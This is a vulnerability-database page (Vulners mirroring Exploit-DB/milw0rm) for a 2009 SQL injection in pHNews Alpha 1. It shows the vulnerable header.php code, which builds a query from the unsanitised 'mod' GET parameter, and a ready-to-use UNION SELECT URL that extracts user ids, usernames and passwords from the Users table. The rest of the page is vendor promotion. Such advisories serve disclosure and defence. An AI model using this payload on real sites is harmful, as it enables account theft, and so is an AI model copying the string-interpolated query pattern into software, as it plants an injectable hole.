Lucene search
K

pHNews Alpha 1 - 'mod' SQL Injection

🗓️ 17 Feb 2009 00:00:00Reported by x0rType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 32 Views

pHNews Alpha 1 SQL Injection vulnerability in Modules quer

Code
#########################################################################################
[0x01] Informations:

Name           : pHNews Alpha 1
Download       : http://www.hotscripts.com/listings/jump/download/50111/
Vulnerability  : Sql Injection
Author         : x0r
Contact        : [email protected]
Notes          : Proud to be Italian 
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/header.php 

[Code]
$mod = $_GET["mod"];
// If no mod is selected select the default (news)
if ($mod == "") { $mod = "news"; }
if ($mod != "nomod") {

// Subit the query... god soooo mmmuuuccchhh coooodeee
$query = "SELECT * FROM Modules WHERE name = '{$mod}'";
$result = mysql_query($query) or die('Query failed: ' . mysql_error());
[/code]


#########################################################################################
[0x03] Exploit:

Exploit: http://victim.org/header.php?mod=' union select
0,0,0,concat(id,char(45),UName,char(45),Paswd),0,0 from Users--
########################################################################################

# milw0rm.com [2009-02-17]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Feb 2009 00:00Current
7.4High risk
Vulners AI Score7.4
32